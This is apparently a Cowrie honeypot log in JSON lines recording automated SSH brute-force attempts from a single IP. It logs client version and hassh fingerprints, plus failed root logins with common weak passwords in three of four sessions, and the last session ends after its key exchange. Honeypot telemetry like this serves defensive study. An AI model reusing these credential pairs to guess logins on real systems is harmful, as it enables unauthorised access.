{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:59:41.822338Z","src_ip":"43.134.24.11","session":"048c7ba8c51f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:59:42.052007Z","src_ip":"43.134.24.11","session":"048c7ba8c51f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcd1234","message":"login attempt [root/abcd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:59:42.741007Z","src_ip":"43.134.24.11","session":"048c7ba8c51f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:59:43.974589Z","src_ip":"43.134.24.11","session":"048c7ba8c51f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.24.11","src_port":39412,"dst_ip":"10.17.0.5","dst_port":22,"session":"8b2e41166680","protocol":"ssh","message":"New connection: 43.134.24.11:39412 (10.17.0.5:22) [session: 8b2e41166680]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:59:47.498806Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:59:47.502583Z","src_ip":"43.134.24.11","session":"8b2e41166680","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:59:47.775718Z","src_ip":"43.134.24.11","session":"8b2e41166680","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asd123","message":"login attempt [root/asd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:59:48.492612Z","src_ip":"43.134.24.11","session":"8b2e41166680","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:59:49.735486Z","src_ip":"43.134.24.11","session":"8b2e41166680","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.24.11","src_port":50337,"dst_ip":"10.17.0.5","dst_port":22,"session":"f02ac37a7dcd","protocol":"ssh","message":"New connection: 43.134.24.11:50337 (10.17.0.5:22) [session: f02ac37a7dcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:59:53.318105Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:59:53.322820Z","src_ip":"43.134.24.11","session":"f02ac37a7dcd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:59:53.568894Z","src_ip":"43.134.24.11","session":"f02ac37a7dcd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"q1w2e3r4","message":"login attempt [root/q1w2e3r4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:59:54.307614Z","src_ip":"43.134.24.11","session":"f02ac37a7dcd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:59:55.556887Z","src_ip":"43.134.24.11","session":"f02ac37a7dcd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.24.11","src_port":23324,"dst_ip":"10.17.0.5","dst_port":22,"session":"267690f8e4fe","protocol":"ssh","message":"New connection: 43.134.24.11:23324 (10.17.0.5:22) [session: 267690f8e4fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:59:59.059154Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:59:59.063620Z","src_ip":"43.134.24.11","session":"267690f8e4fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:59:59.309880Z","src_ip":"43.134.24.11","session":"267690f8e4fe","protocol":"ssh"}